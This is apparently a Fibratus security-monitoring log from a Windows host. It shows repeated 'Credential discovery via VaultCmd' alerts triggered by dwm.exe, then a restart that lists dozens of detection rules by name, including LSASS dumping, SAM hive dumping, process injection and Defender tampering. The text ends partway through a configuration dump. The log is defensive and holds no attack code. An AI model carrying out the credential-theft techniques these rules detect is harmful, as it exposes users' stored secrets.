technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.ref: https://attack.mitre.org/tactics/TA0006/, rule.name: Credential discovery via VaultCmd tool, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:41:06+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3797613 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:40:56.1125576 +0100 CET + Params: file_key➜ ffffa88b086c7ff0, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132bd0000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, subtechnique.name: Windows Credential Manager + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:41:06+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3798073 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:40:56.1792692 +0100 CET + Params: file_key➜ ffffa88afe25c810, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132bd0000, view_size➜ 4096 + Metadata: technique.id: T1555, subtechnique.id: T1555.004, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:41:09+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3801829 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:40:58.5468475 +0100 CET + Params: file_key➜ ffffa88afe25c810, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132bd0000, view_size➜ 4096 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.id: T1555, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:41:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T15:41:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:41:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:42:22+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:42:22+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T15:42:22+01:00 level=info msg=bootstrapping with pid 16100. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T15:42:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ use-template=>true enabled=>false to=>[] content-type=>text/html port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-threadpool=>false buffer-size=>512 enable-fileio=>true stack-enrichment=>true enable-dns=>false enable-image=>true flush-interval=>1s enable-thread=>true enable-handle=>false enable-audit-api=>true enable-vamap=>true 